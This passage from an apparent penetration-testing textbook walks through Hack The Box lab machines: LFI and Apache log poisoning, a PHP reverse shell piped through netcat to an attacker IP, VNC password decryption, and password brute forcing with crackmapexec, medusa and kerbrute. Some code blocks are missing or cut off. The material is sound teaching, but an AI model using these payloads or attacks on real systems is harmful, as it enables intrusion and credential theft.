2 info.php [5] => ini.php [6] => listfiles.php [7] => phpinfo.php [8] =>
3 pwdbackup.txt )
hide01.ir
The PHP code is creating an array of filenames. The interesting one is pwdbackup.txt which
if we access has the contents:
The encoding format looks like Base64 and so if we simply put the string in a file and
decode it13 times we get a password:
1 ┌─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $cat password.txt | base64 -d | base64 -d | base64 -d | base64 -d | b
3 Charix!2#4%6&8(0
Going back to the home page, the input to the text box is simply being passed as a
parameter called "file" to be displayed:
http://poison.htb/browse.php?file=listfiles.php
This looks like a candidate for local file inclusion (LFI) by tampering with the file parameter.
If we try the URL
http://poison.htb/browse.php?file=/etc/passwd
We can see from the passwd file that there is a user "charix" and using the password we
discovered earlier with this, we can SSH into the machine.
This was not the only way that you can gain initial access to the box however. Another way
of gaining access is to use a technique called "log poisoning" which involves putting PHP
code into the Apache log file that records requests to the site. This log records the URL
requested, the protocol, the status code and also the user agent which is the details of the
browser client used to make the request. If we put executable PHP into the User Agent
header filed in the request and make a request, the next time we use LFI on the log, that
code will be executed. The code we can add to the User Agent field is:
This code takes the value in the query parameter 'c' and executes it using the 'system'
command. To add the code to the User Agent field, we can use Burp to intercept the request
and then change the value in the Repeater tab before sending it to the server:
We can test this now by sending a new request to view the log file and pass a command via
the parameter 'c':
It took the 'id' command and executed it to return the details of the user 'www'.
We can now execute a reverse shell. Start a Netcat listener on your machine:
1 ┌─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
We can now poison the log with PHP reverse shell code:
1 <?php
2 exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.135
3 ?>
When we make the GET request to view the log, we will get a reverse shell:
1 ┌─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
4 connect to [10.10.14.135] from (UNKNOWN) [10.129.105.0] 35870
5 sh: can't access tty; job control turned off
6 $ whoami
7 www
The shell isn't great and Python is not on the box to use to upgrade it. If you had got access
this way, it would have ben to explore the box to find the pwdbackup.txt file and from there
the password for the charix user to enable the use of SSH.
hide01.ir
Once SSH'd onto the machine, you discover a file secret.zip which you can copy back to
your local host using the scp command:
1 ┌─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $scp [email protected]:/home/charix/secret.zip .
3 Password for charix@Poison:
4 secret.zip 100% 166 0.5KB/s 00:00
The file can be unzipped using charix's password to reveal the secret file which has binary
data in it but otherwise it is not clear what it is for.
Back to enumeration. Looking at the processes running, you will notice a process Xvnc:
1 charix@Poison:~ % ps -aux
2 USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
3 root 11 100.0 0.0 0 16 - RL 14:00 30:53.63 [idle]
4 root 0 0.0 0.0 0 160 - DLs 14:00 0:00.01 [kernel]
5 root 1 0.0 0.1 5408 976 - ILs 14:00 0:00.01 /sbin/init --
6 root 2 0.0 0.0 0 16 - DL 14:00 0:00.00 [crypto]
7 <SNIP>
8 root 614 0.0 0.9 23620 8868 v0- I 14:00 0:00.04 Xvnc :1 -desktop X -httpd
9 root 625 0.0 0.7 67220 7048 v0- I 14:00 0:00.03 xterm -geometry 80x24+10+1
10 root 626 0.0 0.5 37620 5312 v0- I 14:00 0:00.01 twm
To get more information, we can display the process information in more detail:
From this, we know that TightVNC is running as user root and this is listening on port 5901
on localhost. To access the VNC server, you first set up a tunnel using:
1 charix@Poison:~ %
2 ssh> -D 1080
3 Forwarding port.
hide01.ir
On our local box, you can confirm that you can access this port by using:
1 ┌─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $proxychains curl --http0.9 http://127.0.0.1:5901
3 ProxyChains-3.1 (http://proxychains.sf.net)
4 |S-chain|-<>-127.0.0.1:1080-<><>-127.0.0.1:5901-<><>-OK
5 RFB 003.008
Note that you used proxychains here to access the VNC server. You could have used the --
socks5 argument to curl as well.
We can then run vncviewer using proxychains. This asks for a password and so trying the
"secret" file that you got from unzipping "secret.zip" from charix's home directory:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $proxychains vncviewer -passwd secret 127.0.0.1:5901
3 ProxyChains-3.1 (http://proxychains.sf.net)
4 |S-chain|-<>-127.0.0.1:1080-<><>-127.0.0.1:5901-<><>-OK
5 Connected to RFB server, using protocol version 3.8
6 Enabling TightVNC protocol extensions
7 Performing standard VNC authentication
8 Authentication successful
9 Desktop name "root's X desktop (Poison:1)"
VNC's encryption of passwords is more obfuscation than encryption as the key that is used
for the DES encryption is well known. It is trivial to find an application that will decrypt the
password in the file "secret" and it turns out to be "VNCP@$$!".
hide01.ir
Telnet and FTP
Telnet
Telnet is an old protocol that provides a command-line interface via remote access. The
telnet server usually listens on TCP port 23. Because it was never designed with security in
mind, it is less used for administration purposes on computers but is still used on network
devices and Internet of Things devices. A large number of IoT devices have shipped with
default passwords set for Telnet access allowing attackers to access and take over the
devices to enlist them in "botnets". Botnets are a collection of devices all running similar
software/malware that can be coordinated in an attack like a Distributed Denial of Service
(DdoS).
What commands are supported by the telnet server depends on the platform. On windows
for example, it will be the cmd.exe commands that are supported. On a Cisco network
switch, you will be presented with the Cisco CLI (Command Line Interface). In this regard, it
is similar to SSH in running a specific shell after a successful login.
FTP
File Transfer Protocol allows a client to upload and download files using a set of simple
commands. The FTP server normally has 2 TCP ports that it uses, port 21 for FTP
commands and port 20 for sending and receiving data. FTP operates in two different
modes active and passive. In active mode, the FTP client connects to the command port of
the server on port 21. The client starts listening for data on a port that is the next port from
the one it opened to connect to the server. The FTP server connects to this port on the client
from its local data port and sends or receives data when requested by the client.
The trouble with active mode is that clients are often behind firewalls or on a private
network that does not allow for inbound connections on dynamic ports. For this reason,
FTP also supports a passive mode. In passive mode, the server opens a random port for
data connections and passes this to the client to connect to. Of course, having the FTP
server open to a range of open ports to support passive mode creates security
vulnerabilities of its own.
hide01.ir
Exercise: Enumerating and exploiting FTP
and Telnet on Hack The Box case machine
Access
Access is a Windows box that has an FTP server on which you will find a backup of an MS
Access database and a password-protected ZIP file containing a backup of a Microsoft
Outlook email file. Dumping the Access database give server usernames and passwords,
one of which can be used to unzip the ZIP file. Viewing the emails in the PST file found
there, gives another password that can be used to gain access via Telnet.
An nmap scan shows that the TCP ports 21 (FTP), 23 (Telnet) and 80 (HTTP) are open.
Nmap tells you that anonymous login is allowed on FTP.
1 ┌─[✗]─[rin@parrot]─[~/boxes/Access]
2 └──╼ $sudo nmap -v -sC -sV -T4 --min-rate 1000 -p- access.htb -oA nmap/ful
3 PORT STATE SERVICE VERSION
4 21/tcp open ftp Microsoft ftpd
5 | ftp-anon: Anonymous FTP login allowed (FTP code 230)
6 |_Can't get directory listing: PASV failed: 425 Cannot open data connectio
7 | ftp-syst:
8 |_ SYST: Windows_NT
9 23/tcp open telnet?
10 80/tcp open http Microsoft IIS httpd 7.5
11 | http-methods:
12 | Supported Methods: OPTIONS TRACE GET HEAD POST
13 |_ Potentially risky methods: TRACE
14 |_http-server-header: Microsoft-IIS/7.5
15 |_http-title: MegaCorp
16 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
To download everything to our machine, we can use wget from our local machine:
hide01.ir
1 ┌─[rin@parrot]─[~/boxes/Access/FTP]
2 └──╼ $wget -r --no-passive-ftp ftp://anonymous:[email protected]
3 --2021-02-28 14:58:13-- ftp://anonymous:*password*@access.htb/
4 => ‘access.htb/.listing’
5 Resolving access.htb (access.htb)... 10.129.105.84
6 Connecting to access.htb (access.htb)|10.129.105.84|:21... connected.
7 Logging in as anonymous ... Logged in!
8 <SNIP>
The -r flag tells wget to do a recursive fetch which goes into every directory and fetches the
contents. The --no-passive-ftp flag tells wget not to try and download files using passive
mode. If you try and run the command without the --no-passive-ftp flag, wget will try and
establish passive mode and fail, aborting the command.
Once the command completes, you will have the following on your local disk:
1 ┌─[rin@parrot]─[~/boxes/Access/FTP]
2 └──╼ $tree access.htb
3 access.htb
4 ├── Backups
5 │ └── backup.mdb
6 └── Engineer
7 └── Access Control.zip
8 2 directories, 2 files
If you try and unzip Access Control.zip, it will give an error saying that it can't unzip because
the zip file uses "unsupported compression method 99" which means that it was zipped
using 7-Zip. If you try 7z on it, you will be prompted for a password. So leaving that for the
moment, you can explore the access database backup using mdbtools.
Create a directory called tables and move backup.mdb into it then run:
hide01.ir
for I in $(mdb-tables backup.mdb);do mdb-export backup.mdb $i > $i;done
This script will get each table name and then export the contents of the table, saving it to a
file named using the table name. Most of the tables are empty and you can sort the files by
line count using:
wc -l * | sort -n
On looking at the files with more than 2 lines, you will notice a table called auth_user:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Access/tables]
2 └──╼ $cat auth_user
3 id,username,password,Status,last_login,RoleID,Remark
4 25,"admin","admin",1,"08/23/18 21:11:47",26,
5 27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
6 28,"backup_admin","admin",1,"08/23/18 21:14:02",26,
The first thing to try is the engineer password on the zip file:
1 ┌─[rin@parrot]─[~/boxes/Access/access.htb/Engineer]
2 └──╼ $7z x 'Access Control.zip'
3 7-Zip [64] 16.02 : Copyright I 1999-2016 Igor Pavlov : 2016-05-21
4 p7zip Version 16.02 (locale=en_AU.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CP
5 Scanning the drive for archives:
6 1 file, 10870 bytes (11 KiB)
7 Extracting archive: Access Control.zip
8 --
9 Path = Access Control.zip
10 Type = zip
11 Physical Size = 10870
12 Enter password (will not be echoed):
13 Everything is Ok
14 Size: 271360
15 Compressed: 10870
hide01.ir
The pst file is a Microsoft Outlook email file that can be read using the program "readpst".
Running this on "Access Control.pst" will extract an mbox file. With cat, the contents reveal
an email that is in the "Deleted Items" folder. This email is from [email protected] to
[email protected] saying that:
The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please
ensure this is passed on to your engineers.
You can then use the username security and password 4Cc3ssC0ntr0ller to telnet onto the
box:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Access]
2 └──╼ $telnet access.htb
3 Trying 10.129.45.60...
4 Connected to access.htb.
5 Escape character is '^]'.
6 Welcome to Microsoft Telnet Service
7 login: security
8 password:
9 *===============================================================
10 Microsoft Telnet Server.
11 *===============================================================
12 C:\Users\security>whoami
13 access\security
14 C:\Users\security>
It won't be long before you notice that the shell that Telnet provides is limited. The arrow
keys don't work and nor does the delete key. Output is not formatted correctly. This is a very
good example of where the shell is not a full TTY. You can improve things by running a
Nishang PowerShell reverse shell, but I will leave this here for the moment and come back
later when I discuss privilege escalation and persistence.
hide01.ir
Brute forcing remote service passwords
We have already come across some examples of brute forcing passwords (and usernames)
but we are going to go into the subject a bit more deeply here and look one tool in particular
THC Hydra to brute force a variety of remote services. First, it is worth mentioning some
background about passwords. The perceived wisdom about passwords has changed with
the main recommendation for passwords being length and not complexity (NIST SP 800-
63B (https://pages.nist.gov/800-63-3/sp800-63b.html)\). The determination was that
adding rules about specific characters and complexity only added a burden on users to
remember the password and led to behaviors where users used patterns to choose their
passwords. The advent of highly efficient offline password hashing and checking
computers along with millions of available breached passwords has led to the increased
possibility of a password being brute forced.
Password hashing depends on the use of a mathematical function that is called a one-way
function. It is easy to calculate the hash of a piece of plain text but almost impossible to
generate the text from the hash. Hashes are also of fixed length, so no matter how long the
piece of text being hashed, the hash itself is always the same length. In the case of the
SHA-512 hashing algorithm commonly used on modern Linux-based systems, the output is
64 bytes long. If the only thing that was done with a password was to take the plain text
and hash it, it would not be very secure. This is because it would be possible to use tables
of pre-computed hashes, called rainbow tables) for millions of common passwords and
compare them to the hash to get a match. That process would be very fast. Even without
the rainbow tables, doing a brute force on a dictionary of words by hashing each word and
comparing it with the hash we want to crack would also be very fast, especially on modern
computers with Graphical Processing Units (GPUs).
To prevent these types of attacks, password hashing uses a salt, a piece of random text
that is up to 16 characters long (for the SHA-512 hashing algorithm) and adds that to the
password and hashes that. However, it doesn't just do this one, it does it a minimum of
1,000 times taking the product of each round and adding it back in a variety of ways. The
aim of this process is to make the calculation of hashes computationally expensive i.e. to
slow it down.
Of course, not all password hashes are generated in this way and despite the improvements
in hashing algorithms, it is still possible to brute force passwords if they are short and are a
common dictionary word.
hide01.ir
There are two main ways of brute forcing a password: online and offline. We have
encountered methods for both already but let's start with offline cracking. Obtaining
password hashes is only the beginning of the process of being able to crack them. We first
have to identify what type of hash we are dealing with. The password cracking software
hashcat has a flag that will show example hashes for all of the different hashing modes.
To list all of the modes of hashing that hashcat supports, you can use the --help flag
1 ┌─[rin@parrot]─[~/book]
2 └──╼ $hashcat --help
3 …
4 - [ Hash modes ] -
5 # | Name | Category
6 ======+=====================+======================================
7 900 | MD4 | Raw Hash
8 0 | MD5 | Raw Hash
9 100 | SHA1 | Raw Hash
10 1300 | SHA2-224 | Raw Hash
11 1400 | SHA2-256 | Raw Hash
12 10800 | SHA2-384 | Raw Hash
13 1700 | SHA2-512 | Raw Hash
14 17300 | SHA3-224 | Raw Hash
15 17400 | SHA3-256 | Raw Hash
16 17500 | SHA3-384 | Raw Hash
17 17600 | SHA3-512 | Raw Hash
18 6000 | RIPEMD-160 | Raw Hash
19 600 | BLAKE2b-512 | Raw Hash
20 …
For each of these modes, we can show an example of the hash by using --example-hashes
1 ┌─[rin@parrot]─[~/boxes]
2 └──╼ $hashcat -m 1800 --example-hashes
3 hashcat (v6.1.1) starting...
4 MODE: 1800
5 TYPE: sha512crypt $6$, SHA512 (Unix)
6 HASH: $6$72820166$U4DVzpcYxgw7MVVDGGvB2/H5lRistD5.Ah4upwENR5UtffLR4X4SxSzf
7 PASS: hashcat
hide01.ir
Password cracking can operate in a number of different ways. The first and most basic is
to simply try every character combination in sequence. At the opposite end of the scale is to
use dictionaries of common passwords and/or common character combinations. As
variants of these two approaches, we can optimize the dictionaries by applying what we
know about the password syntax rules and also information we may have gathered about
the target, personal details like hobbies and interests, dates of birth, where they work etc.
In terms of password syntax, we may know what the minimum and maximum numbers of
characters are, whether there needs to be a capital letter, special characters and numbers.
Armed with this knowledge, we can simply parse dictionaries like rockyou.txt with a tool like
grep. For example, if we wanted to get words that are between 8 and 9 characters long, we
could use:
egrep is an alias for grep -E which supports extended regular expressions. Regular
expressions are a set of patterns that will match text according to certain rules. In this
expression, the ^ matches the start of a string. The . matches any character and the {8,9}
will match characters 8 or 9 times. Finally, the $ matches the end of the word. We can make
this expression exclude words that have uppercase letters in them:
The expression [[:upper:]] matches uppercase letters and the ^ within the [] means 'not'.
The approach of taking a password list and refining it certainly makes the process of
cracking faster, provided the password you are looking for is in the list. However, even
though a person may use a common password, they will often change it by altering
numbers at the end, either a sequence or referring to a specific date for example. A fan of
the French soccer team may have the password France2018 representing one of the years
that France won the FIFA World Cup.
Once you have a wordlist, you can use tools to take the words and create different
combinations to create a more extensive list of passwords. One of these is Mentalist (git
clone https://github.com/sc0tfree/mentalist.git\) which allows you to take a wordlist and
then apply a chain of transformations that will do things like change case, substitute
numbers for letters and other substitutions (e.g. zero instead of the letter O, 3 instead of e, 5
instead of s) and to take things like zip or postal codes and other words and prepend or
postpend them to the word. You can either use this to generate a new dictionary to use for
cracking, or create a set of rules that can be directly used by John The Ripper or Hashcat.
We will go through an example of generating a custom word list in a moment, but first we
can turn to tools for testing passwords directly with an application online. This has become
much more challenging recently with improvements in applications that will lock users out
after a small number of failed login attempts. However, it can still work where these
protections have not been applied, websites with poor security practices, services that do
not have the means for password protections of this sort and devices like the Internet of
Things where again, password protection is not implemented by default.
We have already seen a number of tools that can be used to test usernames and
passwords for specific remote services. The most comprehensive of these is THC Hydra
(https://github.com/vanhauser-thc/thc-hydra\) which supports more than 50 different
protocols. The basic syntax of Hydra is illustrated in the examples printed out with the use
of hydra -h
<protocol> will be the type of service such as http, smb, ftp pop3. The port can be specified
in addition to the IP address although the default port will be used if this is omitted. Finally,
there is the ability to specify particular authentication variants as part of the protocol
specification.
Medusa is another tool, like hydra, which will allow the brute forcing of a range of different
services but it has been largely unmaintained since 2015.
Metasploit also has a number of scanners for services such as FTP, SMB and SSH that will
do brute force logins as well. There are also other tools such as Crackmapexec which
supports a few protocols such as SMB, HTTP and MSSQL (Microsoft SQL Server).
As we will see however, all of these tools respond differently to different settings and
protocols and so it is possible to get both false positives and negatives. Checking with
another tool is always a good idea.
hide01.ir
Exercise: Brute forcing usernames and
passwords for remote access on Hack The
Box machine Fuse
In this exercise, we enumerate users and potential passwords from the public website of the
machine Fuse. We then use a few tools, including Kerbrute and CrackMapExec. Eventually
we get a username and password that allows us to gain remote access to the machine
using evil-winrm.
1 ┌─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $nmap -v -sC -sV -T4 --min-rate 1000 -p- fuse.htb -oA nmap/full-tcp
3 <SNIP>
4 PORT STATE SERVICE VERSION
5 53/tcp open domain Simple DNS Plus
6 80/tcp open http Microsoft IIS httpd 10.0
7 | http-methods:
8 | Supported Methods: OPTIONS TRACE GET HEAD POST
9 |_ Potentially risky methods: TRACE
10 |_http-server-header: Microsoft-IIS/10.0
11 |_http-title: Site doesn't have a title (text/html).
12 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-12-
13 135/tcp open msrpc Microsoft Windows RPC
14 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
15 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabrico
16 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
17 464/tcp open kpasswd5?
18 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
19 636/tcp open tcpwrapped
20 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabric
21 3269/tcp open tcpwrapped
22 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
23 |_http-server-header: Microsoft-HTTPAPI/2.0
24 |_http-title: Not Found
25 9389/tcp open mc-nmf .NET Message Framing
26 49666/tcp open msrpc Microsoft Windows RPC
27 49667/tcp open msrpc Microsoft Windows RPC
28 49675/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
29 49676/tcp open msrpc Microsoft Windows RPC
30 49679/tcp open msrpc Microsoft Windows RPC
31 49697/tcp open msrpc Microsoft Windows RPC
32
hide01.ir
49755/tcp open msrpc Microsoft Windows RPC
33 Service Info: Host: FUSE; OS: Windows; CPE: cpe:/o:microsoft:windows
34 Host script results:
35 |_clock-skew: mean: 2h55m31s, deviation: 4h37m09s, median: 15m29s
36 | smb-os-discovery:
37 | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3
38 | Computer name: Fuse
39 | NetBIOS computer name: FUSE\x00
40 | Domain name: fabricorp.local
41 | Forest name: fabricorp.local
42 | FQDN: Fuse.fabricorp.local
43 |_ System time: 2020-12-20T19:45:52-08:00
44 | smb-security-mode:
45 | account_used: <blank>
46 | authentication_level: user
47 | challenge_response: supported
48 |_ message_signing: required
49 | smb2-security-mode:
50 | 2.02:
51 |_ Message signing enabled and required
52 | smb2-time:
53 | date: 2020-12-21T03:45:51
54 |_ start_date: 2020-12-21T03:35:26
The OS discovery suggests that the box is a Windows Server 2016. The variety of ports like
DNS, LDAP and Kerberos suggest that it is an Active Directory domain controller with the
domain fabricorp.local. We can add this hostname to the /etc/hosts file. An interesting note
at this point is whether add the fabricorp.local DNS to the list of nameservers to query so
that any other subdomains would be accessible automatically. You can normally do this by
adding the entry nameserver <IP address> to the file /etc/resolv.conf. However, in this case,
the DNS returned the incorrect IP address for fabricorp.local and so this is not an option.
Enumerating the website it is apparent that the site is static HTML and so even if there was
a CVE related to this version of PaperCut, there would be nothing to exploit. Instead, we can
focus on the users that are listed with the print jobs:
1 pmerton
2 tlavel
3 sthompson
4 bhult
5 administrator
We can add these to a file users.txt and use a program kerbrute to check if these users exist
on the fabricorp.local domain. To get kerbrute, you can download a release from
https://github.com/ropnop/kerbrute. Running this with the users listed above, we get:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $kerbrute userenum -d fabricorp.local --dc fabricorp.local users.txt
3 __ __ __
4 / /_____ _____/ /_ _______ __/ /____
5 / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
6 / ,< / __/ / / /_/ / / / /_/ / /_/ __/
7 /_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
8
hide01.ir
Version: v1.0.3 (9dad6e1) - 12/21/20 - Ronnie Flathers @ropnop
9 2020/12/21 13:58:13 > Using KDC(s):
10 2020/12/21 13:58:13 > fabricorp.local:88
11 2020/12/21 13:58:14 > [+] VALID USERNAME: [email protected]
12 2020/12/21 13:58:14 > [+] VALID USERNAME: [email protected]
13 2020/12/21 13:58:14 > [+] VALID USERNAME: [email protected]
14 2020/12/21 13:58:14 > [+] VALID USERNAME: [email protected]
15 2020/12/21 13:58:14 > [+] VALID USERNAME: [email protected]
16 2020/12/21 13:58:14 > Done! Tested 5 usernames (5 valid) in 0.389 seconds
Now that we have valid usernames, we need password candidates and a place to try them.
We are going to use CeWL to parse the website and generate a wordlist.
1 ┌─[✗]─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $cewl -d 3 -m 8 --with-numbers -w fabricorp_wordlist.txt http://fuse.
3 CeWL 5.4.8 (Inclusion) Robin Wood ([email protected]) (https://digi.ninja/)
We have specified a depth of 3 (-d 3) for the program to crawl, a minimum password length
of 8 (-m 8), we want words that contain numbers (--with-numbers) and an output file
fabricorp_wordlist.txt and the URL of the home page we want to crawl. This generates a
wordlist of the type:
1 ┌─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $cat fabricorp_wordlist.txt
3 PaperCut
4 GRAYSCALE
5 papercut
6 sthompson
7 LONWK019
8 Document
9 Grayscale
10 Software
11 Copyright
12 Location
13 NotepadLETTER
14 Language
15 printing
16 International
17 bnielson
18 LONWK015
19 mountain
20 Fabricorp01
hide01.ir
We can't use Hydra with this machine. It will error out when trying to brute force SMB and if
you try SMB v2, after compiling a version with this support, it will not report the specific
SMB error we are looking for. To do that, we need to use crackmapexec which illustrates
that sometimes using a range of tools is a good option. Using crackmapexec, we get an
error for the user tlavel and password Fabricorp01 that the
STATUS_PASSWORD_MUST_CHANGE.
1 ┌─[✗]─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $crackmapexec smb fuse.htb -u users.txt -p fabricorp_wordlist.txt
3 SMB 10.129.2.5 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:F
4 Bv1:True)
5 SMB 10.129.2.5 445 FUSE [-] fabricorp.local\pmerton:PaperCut STATUS_LOGON_
6 SMB 10.129.2.5 445 FUSE [-] fabricorp.local\tlavel:LONWK015 STATUS_LOGON_F
7 SMB 10.129.2.5 445 FUSE [-] fabricorp.local\tlavel:mountain STATUS_LOGON_F
8 SMB 10.129.2.5 445 FUSE [-] fabricorp.local\tlavel:Fabricorp01 STATUS_PASS
An alternative to crackmapexec is medusa which can be used with the the user file (-U
users.txt), the password file (-P fabricorp_wordlist.txt) and the SMB NT module (-M smbnt).
This gives the following output:
1 ┌─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $medusa -h fuse.htb -U users.txt -P fabricorp_wordlist.txt -M smbnt
3 Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@fo
4 ACCOUNT CHECK: [smbnt] Host: fuse.htb (1 of 1, 0 complete) User: pmerton (
5 ACCOUNT CHECK: [smbnt] Host: fuse.htb (1 of 1, 0 complete) User: pmerton (
6 ACCOUNT CHECK: [smbnt] Host: fuse.htb (1 of 1, 0 complete) User: pmerton (
7 ACCOUNT CHECK: [smbnt] Host: fuse.htb (1 of 1, 0 complete) User: pmerton (
8 …
9 ACCOUNT CHECK: [smbnt] Host: fuse.htb (1 of 1, 0 complete) User: tlavel (2
10 ACCOUNT FOUND: [smbnt] Host: fuse.htb User: tlavel Password: Fabricorp01 [
11 …
Whichever way you do it, the end result is that the password for tlavel, Fabricorp01 needs to
be reset. We can do this with smbpasswd:
hide01.ir
1 ┌─[✗]─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $smbpasswd -U tlavel -r fabricorp.local
3 Old SMB password:
4 New SMB password:
5 Retype new SMB password:
6 Password changed for user tlavel
1 ┌─[rin@parrot]─[/opt/impacket]
2 └──╼ $crackmapexec smb fuse.htb -u tlavel -p Fabricorp02
3 SMB 10.129.70.212 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (nam
4 SMB 10.129.70.212 445 FUSE [+] fabricorp.local\tlavel:Fabricorp02
The password gets reset every minute on this machine back to Fabricorp01 and so
whatever we do to test access, we need to do it straight after resetting the password. There
is also a password history kept and so each time the password is changed from
Fabricorp01, it needs to be changed to an entirely new password.
We can do that and then log into the machine using rpcclient. Interestingly, rpcclient will
also report NT_STATUS_PASSWORD_MUST_CHANGE if we use the original Fabricorp01
1 ┌─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $rpcclient -U tlavel fuse.htb
3 Enter WORKGROUP\tlavel's password:
4 Cannot connect to server. Error was NT_STATUS_PASSWORD_MUST_CHANGE
Using enumdomusers to enumerate the users on the box, we get an extended list of users:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $rpcclient -U tlavel fuse.htb
3 Enter WORKGROUP\tlavel's password:
4 rpcclient $> enumdomusers
5 user:[Administrator] rid:[0x1f4]
6 user:[Guest] rid:[0x1f5]
7
hide01.ir
user:[krbtgt] rid:[0x1f6]
8 user:[DefaultAccount] rid:[0x1f7]
9 user:[svc-print] rid:[0x450]
10 user:[bnielson] rid:[0x451]
11 user:[sthompson] rid:[0x641]
12 user:[tlavel] rid:[0x642]
13 user:[pmerton] rid:[0x643]
14 user:[svc-scan] rid:[0x645]
15 user:[bhult] rid:[0x1bbd]
16 user:[dandrews] rid:[0x1bbe]
17 user:[mberbatov] rid:[0x1db1]
18 user:[astein] rid:[0x1db2]
19 user:[dmuir] rid:[0x1db3]
20 rpcclient $>
We can collect all of the users and create a new users file with these users in it called
rpc_users.txt and then just extract the usernames with the command:
The awk command uses the -F flag to specify the field separator regular expression. We are
separating the text between the square bracket ([]) characters. The '\' is necessary to escape
the first [. If we try and write to the same file, it will end up blank and so that is why we need
to create a separate file.
Back on rpcclient, we can look at printers that might be shared by using the enumprinters
command. This gives output which contains a password:
A password has been saved in the description $fab@s3Rv1ce$1 which we can test with the
users we enumerated earlier:
hide01.ir
1 ┌─[oztechmuse@parrot]─[~/boxes/Fuse]
2 └──╼ $crackmapexec smb fuse.htb -u rpc_users.txt -p '$fab@s3Rv1ce$1'
3 SMB 10.129.70.212 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (nam
4 SMB 10.129.70.212 445 FUSE [-] fabricorp.local\Administrator:$fab@s3Rv1ce$
5 SMB 10.129.70.212 445 FUSE [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1
We get a hit with the username svc-print which we can then use to get access with evil-
wrinrm:
1 ┌─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $evil-winrm -u svc-print -p '$fab@s3Rv1ce$1' -i fuse.htb
3 Evil-WinRM shell v2.3
4 Info: Establishing connection to remote endpoint
5 *Evil-WinRM* PS C:\Users\svc-print\Documents>
6 The user flag is in c:\Users\svc-print\Desktop\users.txt.
We will leave this here and come back to Fuse in a subsequent chapter where we cover
further enumeration for discovery and privilege escalation. Next however we are going to
explore custom exploitation as a means of gaining initial access.
hide01.ir
RCE vulnerabilities can occur where an application runs unchecked commands directly
using a function like PHP's exec() command. A web application might want to do this
because it is providing a systems administration function or doing something that relies on
running an external application. Although doing this should be avoided because of the
security risks involved, those risks can be mitigated through sanitization of inputs and
implementing strong access controls. This is still a problem with applications however and
so it is by no means an uncommon vulnerability.
In the previous chapter, you learned how to gain access to a machine by exploiting network
services through intended means. In this chapter, we’ll explore a custom exploitation
technique called a buffer overflow. This attack again manipulates the input to a program,
sending more data than the program was expecting and causing it to fail in a way that
allows us, as the attackers, to gain control of code execution. By crafting the input to
overflow the buffer and then have program execution return to some point in our supplied
buffer, code instructions can be sent to get the program to execute a command, including
providing a reverse shell.
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4 int main(int argc, char **argv) {
5
hide01.ir
int numWorlds = 5;
6 int i;
7 char * helloWorld = (char*) malloc(13 * sizeof(char));
8 strcpy(helloWorld, "Hello World ");
9 for (i = 1; i <= numWorlds; i++) {
10 printf(helloWorld);
11 printf("%d \n", i);
12 }
13 free(helloWorld);
14 return 0;
15 }
In this code at numWorlds is a variable that is set to the number 5. This variable is saved in
a memory location called the "stack". At we are dynamically allocating 13 bytes of memory
using the function malloc. This memory is allocated from the program's heap memory. The
string "Hello World " is then copied into the allocated memory and this is printed out 5 times
to produce the output:
1 ┌─[✗]─[rin@parrot]─[~/develop]
2 └──╼ $gcc hello.c -o hello
3 ┌─[rin@parrot]─[~/develop]
4 └──╼ $./hello
5 Hello World 1
6 Hello World 2
7 Hello World 3
8 Hello World 4
9 Hello World 5
Figure 3-8 shows the memory layout of the application after it has been loaded to run.
Starting at the top, the stack of the program expands downwards. In the program there are
three variables that are put on the stack, the integer i, the integer numWorlds and the char
pointer helloWorld. When memory is allocated with the malloc statement, it is put on the
heap. Although there are exploits that involve heap corruption, I am going to concentrate on
the other form of exploitation which involves overflowing the stack.
hide01.ir
Stacks operate on a last-in-first-out (LIFO) basis. Memory pointers or 8 byte values are
"pushed" onto the stack and these values can only be retrieved by "popping" them off the
stack in the reverse order that they were put on. Other than function variables, there is other
